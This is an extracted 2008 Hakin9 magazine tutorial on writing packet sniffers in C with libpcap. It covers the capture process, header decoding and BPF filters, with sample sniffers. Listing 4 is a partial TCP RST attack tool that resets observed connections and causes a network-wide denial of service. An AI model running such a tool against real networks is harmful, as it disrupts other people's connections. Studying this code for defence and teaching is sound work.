Sie sind auf Seite 1von 8

Programming with Libpcap

– Sniffing the Network


Attack
From Our Own Application
Luis Martin Garcia

Difficulty

Since the first message was sent over the ARPANET in 1969,
computer networks have changed a great deal. Back then,
networks were small and problems were solved using simple
diagnostic tools. As these networks got more complex, the need
for management and troubleshooting increased.

N
owadays, computer networks are usu- systems, port knocking daemons, password
ally large and diverse systems that sniffers, ARP poisoners, tracerouters, etc.
communicate using a wide variety of First of all let's review how packet capture
protocols. This complexity created the need works in Ethernet-based networks. Every time
for more sophisticated tools to monitor and a network card receives an Ethernet frame
troubleshoot network traffic. Today, one of the it checks that its destination MAC address
critical tools in any network administrator tool- matches its own. If it does, it generates an inter-
box is the sniffer. rupt request. The routine in charge of handling
Sniffers, also known as packet analyzers, the interrupt is the system's network card driver.
are programs that have the ability to intercept The driver timestamps received data and cop-
the traffic that passes over a network. They are
very popular between network administrators
and the black hat community because they can What you will learn...
be used for both – good and evil. In this article
we will go through main principles of packet • The principles of packet capture
• How to capture packets using libpcap
capture and introduce libpcap, an open source
• Aspects to consider when writing a packet cap-
and portable packet capture library which is the
ture application
core of tools like tcpdump, dsniff, kismet, snort
or ettercap.
What you should know...
Packet Capture
Packet capture is the action of collecting data • The C programming language
as it travels over a network. Sniffers are the • The basics of networking and the OSI Refer-
best example of packet capture systems but ence Model
many other types of applications need to grab • How common protocols like Ethernet, TCP/IP
or ARP work
packets off a network card. Those include
network statistical tools, intrusion detection

38 hakin9 2/2008 www.hakin9.org/en


Programming with Libpcap

ies it from the card buffer to a block through but, as we will see later, Python, Java, C# or Ruby. Libpcap
of memory in kernel space. Then, it they usually offer advanced filtering runs on most UNIX-like operating
determines which type of packet has capabilities. As packet capture may systems (Linux, Solaris, BSD, HP-
been received looking at the ether- involve security risks, most systems UX...). There is also a Windows ver-
type field of the Ethernet header and require administrator privileges in sion named Winpcap. Today, libpcap
passes it to the appropriate protocol order to use this feature. Figure 1 is maintained by the Tcpdump Group.
handler in the protocol stack. In most illustrates the capture process. Full documentation and source code
cases the frame will contain an IPv4 is available from the tcpdump's official
datagram so the IPv4 packet handler Libpcap site at http://www.tcpdump.org. (http:
will be called. This handler performs Libpcap is an open source library that //www.winpcap.org/ for Winpcap)
a number of check to ensure, for provides a high level interface to net-
example, that the packet is not cor- work packet capture systems. It was Our First Steps
rupt and that is actually destined created in 1994 by McCanne, Leres With Libpcap
for this host. If all tests are passed, and Jacobson – researchers at the Now that we know the basics of
the IP headers are removed and Lawrence Berkeley National Labora- packet capture let us write our own
the remainder is passed to the next tory from the University of California at sniffing application.
protocol handler (probably TCP or Berkeley as part of a research project The first thing we need is a net-
UDP). This process is repeated until to investigate and improve TCP and work interface to listen on. We can
the data gets to the application layer Internet gateway performance. either specify one explicitly or let
where it is processed by the user- Libpcap authors' main objective libpcap get one for us. The function
level application. was to create a platform-independ- char *pcap _ lookupdev(char *errbuf)
When we use a sniffer, packets ent API to eliminate the need for returns a pointer to a string contain-
go through the same process de- system-dependent packet capture ing the name of the first network
scribed above but with one differ- modules in each application, as vir- device that is suitable for packet cap-
ence: the network driver also sends tually every OS vendor implements ture. Usually this function is called
a copy of any received or transmitted its own capture mechanisms. when end-users do not specify any
packet to a part of the kernel called The libpcap API is designed to network interface. It is generally
the packet filter. Packet filters are be used from C and C++. However, a bad idea to use hard coded inter-
what makes packet capture pos- there are many wrappers that allow face names as they are usually not
sible. By default they let any packet its use from languages like Perl, portable across platforms.

Figure 1. Elements involved in the capture process

www.hakin9.org/en hakin9 2/2008 39


Attack

The errbuf argument of pcap _ mented by libpcap take this param- Once we have the name of the
lookupdev() is a user supplied buffer eter. When allocating the buffer we network device we have to open
that the library uses to store an error have to be careful because it must be it. The function pcap _ t *pcap _
message in case something goes able to hold at least PCAP _ ERRBUF _ open _ live(const char *device, int
wrong. Many of the functions imple- SIZE bytes (currently defined as 256). snaplen, int promisc, int to _ ms,
char *errbuf) does that. It returns an
Listing 1. Structure pcap _pkthdr interface handler of type pcap _ t that
will be used later when calling the rest
struct pcap_pkthdr { of the functions provided by libpcap.
struct timeval ts; /* Timestamp of capture */
The first argument of pcap _
bpf_u_int32 caplen; /* Number of bytes that were stored */
open _ live() is a string containing
bpf_u_int32 len; /* Total length of the packet */
}; the name of the network interface
we want to open. The second one
Listing 2. Simple sniffer is the maximum number of bytes to
capture. Setting a low value for this
/* Simple Sniffer */
/* To compile: gcc simplesniffer.c -o simplesniffer -lpcap */
parameter might be useful in case
we are only interested in grabbing
#include <pcap.h> headers or when programming for
#include <string.h> embedded systems with important
#include <stdlib.h>
memory limitations. Typically the
#define MAXBYTES2CAPTURE 2048
maximum Ethernet frame size is
1518 bytes. However, other link
void processPacket(u_char *arg, const struct pcap_pkthdr* pkthdr, const types like FDDI or 802.11 have big-
u_char * packet){ ger limits. A value of 65535 should
be enough to hold any packet from
int i=0, *counter = (int *)arg;
any network.
printf("Packet Count: %d\n", ++(*counter)); The option to _ ms defines how
printf("Received Packet Size: %d\n", pkthdr->len); many milliseconds should the kernel
printf("Payload:\n"); wait before copying the captured
for (i=0; i<pkthdr->len; i++){
information from kernel space to
if ( isprint(packet[i]) )
user space. Changes of context are
printf("%c ", packet[i]); computationally expensive. If we are
else capturing a high volume of network
printf(". "); traffic it is better to let the kernel
group some packets before cross-
if( (i%16 == 0 && i!=0) || i==pkthdr->len-1 )
printf("\n");
ing the kernel-userspace bound-
} ary. A value of zero will cause the
return; read operations to wait forever until
} enough packets arrived to the net-
int main( ){
work interface. Libpcap documenta-
int i=0, count=0;
tion does not provide any suggestion
pcap_t *descr = NULL; for this value. To have an idea we
char errbuf[PCAP_ERRBUF_SIZE], *device=NULL; can examine what other sniffers do.
memset(errbuf,0,PCAP_ERRBUF_SIZE); Tcpdump uses a value of 1000, dsniff
uses 512 and ettercap distinguishes
/* Get the name of the first device suitable for capture */
device = pcap_lookupdev(errbuf);
between different operating systems
using 0 for Linux or OpenBSD and 10
printf("Opening device %s\n", device); for the rest.
The promisc flag decides wheth-
/* Open device in promiscuous mode */
er the network interface should be
descr = pcap_open_live(device, MAXBYTES2CAPTURE, 1, 512, errbuf);
put into promiscuous mode or not.
/* Loop forever & call processPacket() for every received packet*/ That is, whether the network card
pcap_loop(descr, -1, processPacket, (u_char *)&count); should accept packets that are not
destined to it or not. Specify 0 for
return 0;
non-promiscuous and any other
}
value for promiscuous mode. Note
that even if we tell libpcap to listen

40 hakin9 2/2008 www.hakin9.org/en


Programming with Libpcap

in non-promiscuous mode, if the You are probably wondering if the struct pcap_pkthdr* pkthdr, const u_
interface was already in promiscu- function only returns an integer, where char * packet);
ous mode it may stay that way. We are the packets that were captured?
should not take for granted that we The answer is a bit tricky. pcap _ loop() The first argument is the user pointer
will not receive traffic destined for does not return those packets, instead, that we passed to pcap _ loop(), the
other hosts, instead, it is better to it calls a user-defined function every second one is a pointer to a structure
use the filtering capabilities that lib- time there is a packet ready to be read. that contains information about the
pcap provides, as we will see later. This way we can do our own process- captured packet. Listing 1 shows the
Once we have a network inter- ing in a separate function instead of definition of this structure.
face open for packet capture, we calling pcap _ next() in a loop and The caplen member has usually
have to actually tell pcap that we process everything inside. However the same value as len except the
want to start getting packets. For this there is a problem. If pcap _ loop() situation when the size of the cap-
we have some options: calls our function, how can we pass ar- tured packet exceeds the snaplen
guments to it? Do we have to use ugly specified in open _ pcap _ live().
• The function const u _ char globals? The answer is no, the libpcap The third alternative is to use int
*pcap _ next(pcap _ t *p, struct guys thought about this problem and pcap _ dispatch(pcap _ t *p, int cnt,
pcap _ pkthdr *h)takes the included a way to pass information to pcap _ handler callback, u _ char
pcap _ t handler returned by the callback function. This is the user *user), which is similar to pcap _
pcap _ open _ live, a pointer to argument. This pointer is passed in loop() but it also returns when the
a structure of type pcap _ pkthdr every call. The pointer is of type u _ to _ ms timeout specified in pcap _
and returns the first packet that char so we will have to cast it for our open _ live() elapses.
arrives to the network interface. own needs when calling pcap _ loop() Listing 1 provides an example
• The function int pcap _ and when using it inside the callback of a simple sniffer that prints the
loop(pcap _ t *p, int cnt, function. Our packet processing func- raw data that it captures. Note that
pcap _ handler callback, u _ char tion must have a specific prototype, header file pcap.h must be included.
*user) is used to collect packets otherwise pcap _ loop() wouldn't Error checks have been omitted for
and process them. It will not re- know how to use it. This is the way it clarity.
turn until cnt packets have been should be declared:
captured. A negative cnt value Once
will cause pcap _ loop() to return void function_name(u_char *userarg, We Capture a Packet
only in case of error. const When a packet is captured, the only
thing that our application has got is
a bunch of bytes. Usually, the net-
work card driver and the protocol
stack process that data for us but
when we are capturing packets from
our own application we do it at the
lowest level so we are the ones in
charge of making the data rational.
To do that there are some things that
should be taken into account.

Data Link Type


Although Ethernet seems to be
present everywhere, there are a lot of
different technologies and standards
that operate at the data link layer. In
order to be able to decode packets
Figure 2. Normal program flow of a pcap application captured from a network interface
we must know the underlying data
link type so we are able to interpret
the headers used in that layer.
The function int pcap _
datalink(pcap _ t *p) returns the link
layer type of the device opened by
Figure 3. Data encapsulation in Ethernet networks using the TCP/IP pcap _ open _ live(). Libpcap is able
protocol to distinguish over 180 different link

www.hakin9.org/en hakin9 2/2008 41


Attack

types. However, it is the responsibil- defined. A complete list can be found for example, we capture a packet that
ity of the user to know the specific at http://www.iana.org/assignments/ is targeted to or comes from port 80
details of any particular technology. protocol-numbers. and it is payload is plain ASCII text, it
This means that we, as program- will probably be some kind of HTTP
mers, must know the exact format Application Layer Protocol traffic between a web browser and a
of the data link headers that the cap- Ok, so we have got the Ethernet web server. However, this is not exact
tured packets will have. In most ap- header, the IP header, the TCP science so we have to be very care-
plications we would just want to know header and now what?. Application ful when handling the TCP payload, it
the length of the header so we know layer protocols are a bit harder to may contain unexpected data.
where the IP datagram starts. distinguish. The TCP header does
Table 1 summarizes the most not provide any information about Malformed Packets
common data link types, their the payload it transports but TCP In Louis Amstrong's wonderful world
names in libpcap and the offsets port numbers can give as a clue. If, everything is beautiful and perfect
that should be applied to the start
Table 1. Common data link types
of the captured data to get the next
protocol header. Data Link Type Pcap Alias Offset (in bytes)
Probably the best way to handle Ethernet 10/100/1000 Mbs 14
DLT_EN10MB
the different link layer header sizes
is to implement a function that takes Wi-Fi 802.11 22
DLT_IEEE802_11
a pcap _ t structure and returns the
offset that should be used to get the FDDI( Fiber Distributed Data 21
Interface) DLT_FFDI
network layer headers. Dsniff takes
this approach. Have a look at func- PPPoE (PPP over Ethernet) 14 (Ethernet) + 6
DLT_PPP_ETHER
tion pcap _ dloff() in file pcap _ util.c (PPP) = 20
from the Dsniff source code. BSD Loopback 4
DLT_NULL

Network Layer Protocol Point to Point (Dial-up)


DLT_PPP
The next step is to determine what
follows the data link layer header.
Table 2. Network layer protocols and ethertype values
From now on we will assume that we
are working with Ethernet networks. Network Layer Protocol Ethertype Value
The Ethernet header has a 16-bit Internet Protocol Version 4 (IPv4) 0x0800
field named ethertype which speci- Internet Protocol Version 6 (IPv6) 0x86DD
fies the protocol that comes next. Ta-
Address Resolution Protocol (ARP) 0x0806
ble 2 lists the most popular network
layer protocols and their ethertype Reverse Address Resolution Protocol (RARP) 0x8035
value. AppleTalk over Ethernet (EtherTalk) 0x809B
When testing this value we Point-to-Point Protocol (PPP) 0x880B
must remember that it is received in PPPoE Discovery Stage 0x8863
network byte order so we will have
PPPoE Session Stage 0x8864
to convert it to our host's ordering
scheme using the function ntohs(). Simple Network Management Protocol (SNMP) 0x814C

Transport Layer Protocol Table 3. Transport layer protocols


Once we know which network layer Protocol Value RFC
protocol was used to route our cap- Internet Control Message Protocol 0x01 RFC 792
tured packet we have to find out (ICMP)
which protocol comes next. Assum-
Internet Group Management Protocol 0x02 RFC 3376
ing that the captured packet has
(IGMP)
an IP datagram knowing the next
protocol is easy, a quick look at the Transmission Control Protocol (TCP) 0x06 RFC: 793
protocol field of the IPv4 header (in Exterior Gateway Protocol 0x08 RFC 888
IPv6 is called next header) will tell User Datagram Protocol (UDP) 0x11 RFC 768
us. Table 3 summarizes the most IPv6 Routing Header 0x2B RFC 1883
common transport layer protocols,
IPv6 Fragment Header 0x2C RFC 1883
their hexadecimal value and the
RFC document in which they are ICMP for IPv6 0x3A RFC 1883

42 hakin9 2/2008 www.hakin9.org/en


Programming with Libpcap

but sniffers usually live in hell. Net- we cannot blindly trust the protocol we are expecting an ARP packet
works do not always carry valid pack- field of an IP datagram to contain the on an Ethernet network, packets
ets. Sometimes packets may not be correct value for the following header. with a length different than 14 +
crafted according to the standards Not even the fields that specify lengths 28 = 42 bytes should be discard-
or may get corrupted in their way. can be trusted. If we want to design ed. Failing to check the length of
These situations must be taken into a powerful packet analyzer, avoiding a packet may result in a noisy
account when designing an applica- segmentation faults and headaches, segmentation fault when trying to
tion that handles sniffed traffic. every detail must be checked. access the received data.
The fact that an ethertype value Here are a few tips: • Check IP and TCP checksums.
says that the next header is of type If checksums are not valid then
ARP does not mean we will actually • Check the whole size of the re- the data contained in the head-
find an ARP header. In the same way, ceived packet. If, for example, ers may be garbage. However,

Listing 3. Simple ARP sniffer

/* Simple ARP Sniffer. */ descr = pcap_open_live(argv[1], MAXBYTES2CAPTURE, 0,


/* To compile: gcc arpsniffer.c -o arpsniff -lpcap */ 512, errbuf);
/* Run as root! */
/* Look up info from the capture device. */
#include <pcap.h> pcap_lookupnet( argv[1] , &netaddr, &mask, errbuf);
#include <stdlib.h>
#include <string.h> /* Compiles the filter expression into a BPF filter
program */
/* ARP Header, (assuming Ethernet+IPv4) */ pcap_compile(descr, &filter, "arp", 1, mask);
#define ARP_REQUEST 1 /* ARP Request */
#define ARP_REPLY 2 /* ARP Reply */ /* Load the filter program into the packet capture
typedef struct arphdr { device. */
u_int16_t htype; /* Hardware Type */ pcap_setfilter(descr,&filter);
u_int16_t ptype; /* Protocol Type */
u_char hlen; /* Hardware Address Length */ while(1){
u_char plen; /* Protocol Address Length */
u_int16_t oper; /* Operation Code */ packet = pcap_next(descr,&pkthdr); /* Get one packet
u_char sha[6]; /* Sender hardware address */ */
u_char spa[4]; /* Sender IP address */ arpheader = (struct arphdr *)(packet+14); /* Point to
u_char tha[6]; /* Target hardware address */ the ARP header */
u_char tpa[4]; /* Target IP address */
}arphdr_t; printf("\n\nReceived Packet Size: %d bytes\n",
pkthdr.len);
#define MAXBYTES2CAPTURE 2048 printf("Hardware type: %s\n", (ntohs(arpheader-
>htype) == 1) ? "Ethernet" :
int main(int argc, char *argv[]){ "Unknown");
printf("Protocol type: %s\n", (ntohs(arpheader-
int i=0; >ptype) == 0x0800) ? "IPv4" :
bpf_u_int32 netaddr=0, mask=0; /* To Store network "Unknown");
address and netmask */ printf("Operation: %s\n", (ntohs(arpheader->oper) ==
struct bpf_program filter; /* Place to store the ARP_REQUEST)? "ARP Request" :
BPF filter program */ "ARP Reply");
char errbuf[PCAP_ERRBUF_SIZE]; /* Error buffer
*/ /* If is Ethernet and IPv4, print packet contents */
pcap_t *descr = NULL; /* Network interface if (ntohs(arpheader->htype) == 1 && ntohs(arpheader-
handler */ >ptype) == 0x0800){
struct pcap_pkthdr pkthdr; /* Packet information printf("Sender MAC: ");
(timestamp,size...)*/ for(i=0; i<6;i++)printf("%02X:", arpheader->sha[i]);
const unsigned char *packet=NULL;/* Received raw printf("\nSender IP: ");
data */ for(i=0; i<4;i++)printf("%d.", arpheader->spa[i]);
arphdr_t *arpheader = NULL; /* Pointer to the ARP printf("\nTarget MAC: ");
header */ for(i=0; i<6;i++)printf("%02X:", arpheader->tha[i]);
memset(errbuf,0,PCAP_ERRBUF_SIZE); printf("\nTarget IP: ");
for(i=0; i<4; i++)printf("%d.", arpheader->tpa[i]);
if (argc != 2){ printf("\n");
printf("USAGE: arpsniffer <interface>\n"); }
exit(1); }
} return 0;
/* Open network device for packet capture */ }

www.hakin9.org/en hakin9 2/2008 43


Attack

the fact that checksums are cor- an IP address, checks should CPU time. Capturing everything that
rect does not guarantee that the be made to ensure that the data flows past the network card could
packet contains valid header actually represents a valid IPv4 easily degrade the overall perform-
values. address. ance of our host and cause the ker-
• Check encoding. HTTP or SMTP nel to drop packets.
are text oriented protocols while Filtering Packets If we really need to capture all
Ethernet or TCP/IP use binary fo As we saw before, the capture proc- traffic, then there is little we can do
rmat. Check whether you have ess takes place in the kernel while to optimize the capture process, but
what you expect. our application runs at user level. if we are only interested in a specific
• Any data extracted from a packet When the kernel gets a packet from type of packets we can tell the kernel
for later use should be validated. the network interface it has to copy to filter the incoming traffic so we just
For example, If the payload of it from kernel space to user space, get a copy of the packets that match
a packet is supposed to contain consuming a significant amount of a filter expression. The part of the

Listing 4. TCP RST Attack tool

/* Simple TCP RST Attack tool char errbuf[PCAP_ERRBUF_SIZE];


*/ memset(errbuf,0,PCAP_ERRBUF_SIZE);
/* To compile: gcc tcp_resetter.c -o tcpresetter -lpcap
*/ if (argc != 2){
printf("USAGE: tcpsyndos <interface>\n");
#define __USE_BSD /* Using BSD IP header exit(1);
*/ }
#include <netinet/ip.h> /* Internet Protocol
*/ /* Open network device for packet capture */
#define __FAVOR_BSD /* Using BSD TCP header descr = pcap_open_live(argv[1], MAXBYTES2CAPTURE, 1,
*/ 512, errbuf);
#include <netinet/tcp.h> /* Transmission Control
Protocol */ /* Look up info from the capture device. */
#include <pcap.h> /* Libpcap pcap_lookupnet( argv[1] , &netaddr, &mask, errbuf);
*/
#include <string.h> /* String operations /* Compiles the filter expression: Packets with ACK or
*/ PSH-ACK flags set */
#include <stdlib.h> /* Standard library pcap_compile(descr, &filter, "(tcp[13] == 0x10) or
definitions */ (tcp[13] == 0x18)", 1, mask);

#define MAXBYTES2CAPTURE 2048 /* Load the filter program into the packet capture
device. */
int TCP_RST_send(tcp_seq seq, tcp_seq ack, unsigned pcap_setfilter(descr,&filter);
long src_ip,
unsigned long dst_ip, u_short src_prt, u_short while(1){
dst_prt, u_short win){
packet = pcap_next(descr,&pkthdr);
/* This function crafts a custom TCP/IP packet with the
RST flag set iphdr = (struct ip *)(packet+14); /* Assuming is
and sends it through a raw socket. Check Ethernet! */
http://www.programming-pcap.aldabaknocking.com/ for tcphdr = (struct tcphdr *)(packet+14+20); /* Assuming
the full example. */ no IP options! */
printf("+---------------------------------------+\n");
/* [...] */ printf("Received Packet %d:\n", ++count);
printf("ACK: %u\n", ntohl(tcphdr->th_ack) );
return 0; printf("SEQ: %u\n", ntohl(tcphdr->th_seq) );
} printf("DST IP: %s\n", inet_ntoa(iphdr->ip_dst));
printf("SRC IP: %s\n", inet_ntoa(iphdr->ip_src));
int main(int argc, char *argv[] ){ printf("SRC PORT: %d\n", ntohs(tcphdr->th_sport) );
printf("DST PORT: %d\n", ntohs(tcphdr->th_dport) );
int count=0; printf("\n");
bpf_u_int32 netaddr=0, mask=0;
pcap_t *descr = NULL; TCP_RST_send(tcphdr->th_ack, 0, iphdr->ip_dst.s_addr,
struct bpf_program filter; iphdr->ip_src.s_addr, tcphdr->th_dport,
struct ip *iphdr = NULL; tcphdr->th_sport, 0);
struct tcphdr *tcphdr = NULL; }
struct pcap_pkthdr pkthdr; return 0;
const unsigned char *packet=NULL; }

44 hakin9 2/2008 www.hakin9.org/en


Programming with Libpcap

a BPF program. The function int


About the Author pcap _ compile(pcap _ t *p, struct
Luis Martin Garcia is a graduate in Computer Science from the University of Salaman- bpf _ program *fp, char *str, int
ca, Spain, and is currently pursuing his Master's degree in Information Security. He is optimize, bpf _ u _ int32 netmask)
also the creator of Aldaba, an open source Port Knocking and Single Packet Authoriza- compiles the filter expression
tion system for GNU/Linux, available at http://www.aldabaknocking.com. pointed by str into BPF code. The
argument fp is a pointer to a struc-
ture of type struct bpf _ program that
we should declare before the call to
On the ‘Net pcap _ compile(). The optimize flag
controls whether the filter program
• http://www.tcpdump.org/ – tcpdump and libpcap official site,
• http://www.stearns.org/doc/pcap-apps.html – list of tools based on libpcap,
should be optimized for efficiency
• http://ftp.gnumonks.org/pub/doc/packet-journey-2.4.html – the journey of a packet or not. The last argument is the net-
through the Linux network stack, mask of the network on which pack-
• http://www.tcpdump.org/papers/bpf-usenix93.pdf – paper about the BPF filter ets will be captured. Unless we want
written by the original authors of libpcap, to test for broadcast addresses the
• http://www.cs.ucr.edu/~marios/ethereal-tcpdump.pdf – a tutorial on libpcap filter netmask parameter can be safely
expressions. set to zero. However, if we need to
determine the network mask, the
function int pcap _ lookupnet(const
kernel that provides this functionality bly. However, libpcap and tcpdump char *device, bpf _ u _ int32 *netp,
is the system's packet filter. implement a high level language bpf _ u _ int32 *maskp, char *errbuf)
A packet filter is basically a user that lets us define filters in a much will do it for us.
defined routine that is called by the easier way. The specific syntax of Once we have a compiled BPF
network card driver for every packet this language is out of the scope program we have to insert it into
that it gets. If the routine validates of this article. The full specification the kernel calling the function int
the packet, it is delivered to our ap- can be found in the manual page pcap _ setfilter(pcap _ t *p, struct
plication, otherwise it is only passed for tcpdump. Here are some ex- bpf _ program *fp). If everything
to the protocol stack for the usual amples: goes well we can call pcap _ loop()
processing. or pcap _ next() and start grab-
Every operating system imple- • src host 192.168.1.77 returns bing packets. Listing 3 shows an
ments its own packet filtering mecha- packets whose source IP ad- example of a simple application
nisms. However, many of them are dress is 192.168.1.77, that captures ARP traffic. Listing
based on the same architecture, the • dst port 80 returns packets 4 shows a bit more advanced tool
BSD Packet Filter or BPF. Libpcap whose TCP/UDP destination port that listens for TCP packets with
provides complete support for BPF is 80, the ACK or PSH-ACK flags set and
based packet filters. This includes • not tcp Returns any packet that resets the connection, resulting in a
platforms like *BSD, AIX, Tru64, does not use the TCP protocol, denial of service for everyone in the
Mac OS or Linux. On systems that • tcp[13] == 0x02 and (dst port network. Error checks and some
do not accept BPF filters, libpcap is 22 or dst port 23) returns TCP portions of code have been omit-
not able to provide kernel level filter- packets with the SYN flag set and ted for clarity. Full examples can
ing but it is still capable of selecting whose destination port is either be found in http://programming-
traffic by reading all the packets 22 or 23, pcap.aldabaknocking.com
and evaluating the BPF filters in • icmp[icmptype] == icmp-echoreply
user-space, inside the library. This or icmp[icmptype] == icmp-echo Conclusion
involves considerable computational returns ICMP ping requests and In this article we have explored the
overhead but it provides unmatched replies, basics of packet capture and learned
portability. • ether dst 00:e0:09:c1:0e:82 how to implement simple sniffing
returns Ethernet frames whose applications using the pcap library.
Setting a Filter destination MAC address match- However, libpcap offers additional
Setting a filter involves three steps: es 00:e0:09:c1:0e:82, functionality that has not been cov-
constructing the filter expression, • ip[8]==5 returns packets whose ered here (dumping packets to cap-
compiling the expression into a IP TTL value equals 5. ture files, injecting packets, getting
BPF program and finally applying statistics, etc). Full documentation
the filter. Once we have the filter expression and some tutorials can be found in
BPF programs are written in a we have to translate it into some- the pcap man page or at tcpdump's
special language similar to assem- thing the kernel can understand, official site. l

www.hakin9.org/en hakin9 2/2008 45

Das könnte Ihnen auch gefallen